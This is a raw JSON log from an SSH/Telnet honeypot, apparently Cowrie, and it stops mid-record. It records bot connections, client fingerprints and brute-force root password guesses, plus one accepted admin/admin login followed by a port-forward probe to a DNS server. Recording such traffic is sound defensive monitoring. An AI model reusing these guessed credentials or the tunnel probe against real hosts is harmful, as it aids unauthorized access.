{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:13.985295Z","src_ip":"13.250.38.12","session":"3f621936f2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":32966,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c83235549b","protocol":"ssh","message":"New connection: 13.250.38.12:32966 (159.203.135.109:22) [session: e7c83235549b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:14.019286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:14.024477Z","src_ip":"13.250.38.12","session":"e7c83235549b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:14.274059Z","src_ip":"13.250.38.12","session":"e7c83235549b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:14.765623Z","src_ip":"13.250.38.12","session":"3f621936f2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:15.144439Z","src_ip":"13.250.38.12","session":"e7c83235549b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:16.002484Z","src_ip":"13.250.38.12","session":"3f621936f2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":32978,"dst_ip":"159.203.135.109","dst_port":22,"session":"55a5e3b59ba4","protocol":"ssh","message":"New connection: 13.250.38.12:32978 (159.203.135.109:22) [session: 55a5e3b59ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:16.235346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:16.240756Z","src_ip":"13.250.38.12","session":"55a5e3b59ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:16.396370Z","src_ip":"13.250.38.12","session":"e7c83235549b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:16.493013Z","src_ip":"13.250.38.12","session":"55a5e3b59ba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":32982,"dst_ip":"159.203.135.109","dst_port":22,"session":"87c9de59a0b9","protocol":"ssh","message":"New connection: 13.250.38.12:32982 (159.203.135.109:22) [session: 87c9de59a0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:16.637878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:16.643364Z","src_ip":"13.250.38.12","session":"87c9de59a0b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:16.892103Z","src_ip":"13.250.38.12","session":"87c9de59a0b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:17.237492Z","src_ip":"13.250.38.12","session":"55a5e3b59ba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:17.642836Z","src_ip":"13.250.38.12","session":"87c9de59a0b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:18.480471Z","src_ip":"13.250.38.12","session":"55a5e3b59ba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":32998,"dst_ip":"159.203.135.109","dst_port":22,"session":"0272eff3af43","protocol":"ssh","message":"New connection: 13.250.38.12:32998 (159.203.135.109:22) [session: 0272eff3af43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:18.725032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:18.729620Z","src_ip":"13.250.38.12","session":"0272eff3af43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:18.892494Z","src_ip":"13.250.38.12","session":"87c9de59a0b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:18.974347Z","src_ip":"13.250.38.12","session":"0272eff3af43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":33008,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9e7972f146b","protocol":"ssh","message":"New connection: 13.250.38.12:33008 (159.203.135.109:22) [session: a9e7972f146b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:19.126612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:19.130993Z","src_ip":"13.250.38.12","session":"a9e7972f146b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:19.374950Z","src_ip":"13.250.38.12","session":"a9e7972f146b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxthhhhh.com","message":"login attempt [root/cxthhhhh.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:19.717969Z","src_ip":"13.250.38.12","session":"0272eff3af43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxthhhhh.com","message":"login attempt [root/cxthhhhh.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:20.113631Z","src_ip":"13.250.38.12","session":"a9e7972f146b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:20.965519Z","src_ip":"13.250.38.12","session":"0272eff3af43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:21.367974Z","src_ip":"13.250.38.12","session":"a9e7972f146b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.83511781692505,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:23.497471Z","src_ip":"212.55.149.117","session":"47e47adc0932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38346,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a104554c713","protocol":"ssh","message":"New connection: 87.251.64.176:38346 (10.17.0.5:22) [session: 9a104554c713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:39.174389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:39.178050Z","src_ip":"87.251.64.176","session":"9a104554c713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:39.274021Z","src_ip":"87.251.64.176","session":"9a104554c713","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:39.562704Z","src_ip":"87.251.64.176","session":"9a104554c713","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:39.662195Z","session":"9a104554c713","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:39.769679Z","src_ip":"87.251.64.176","session":"9a104554c713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:39.868316Z","src_ip":"87.251.64.176","session":"9a104554c713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":33224,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab8f0dde747","protocol":"ssh","message":"New connection: 151.80.141.196:33224 (10.17.0.5:22) [session: 9ab8f0dde747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:48.050528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:48.055321Z","src_ip":"151.80.141.196","session":"9ab8f0dde747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:48.145115Z","src_ip":"151.80.141.196","session":"9ab8f0dde747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guestguest","message":"login attempt [guest/guestguest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:48.493334Z","src_ip":"151.80.141.196","session":"9ab8f0dde747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:49.574131Z","src_ip":"151.80.141.196","session":"9ab8f0dde747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.117.58.230","src_port":41046,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7efd1a90b17","protocol":"telnet","message":"New connection: 89.117.58.230:41046 (10.17.0.5:23) [session: f7efd1a90b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:50.240399Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":46760,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f7b1d933ad5","protocol":"ssh","message":"New connection: 190.242.109.42:46760 (10.17.0.5:22) [session: 8f7b1d933ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:50.846158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:50.850799Z","src_ip":"190.242.109.42","session":"8f7b1d933ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.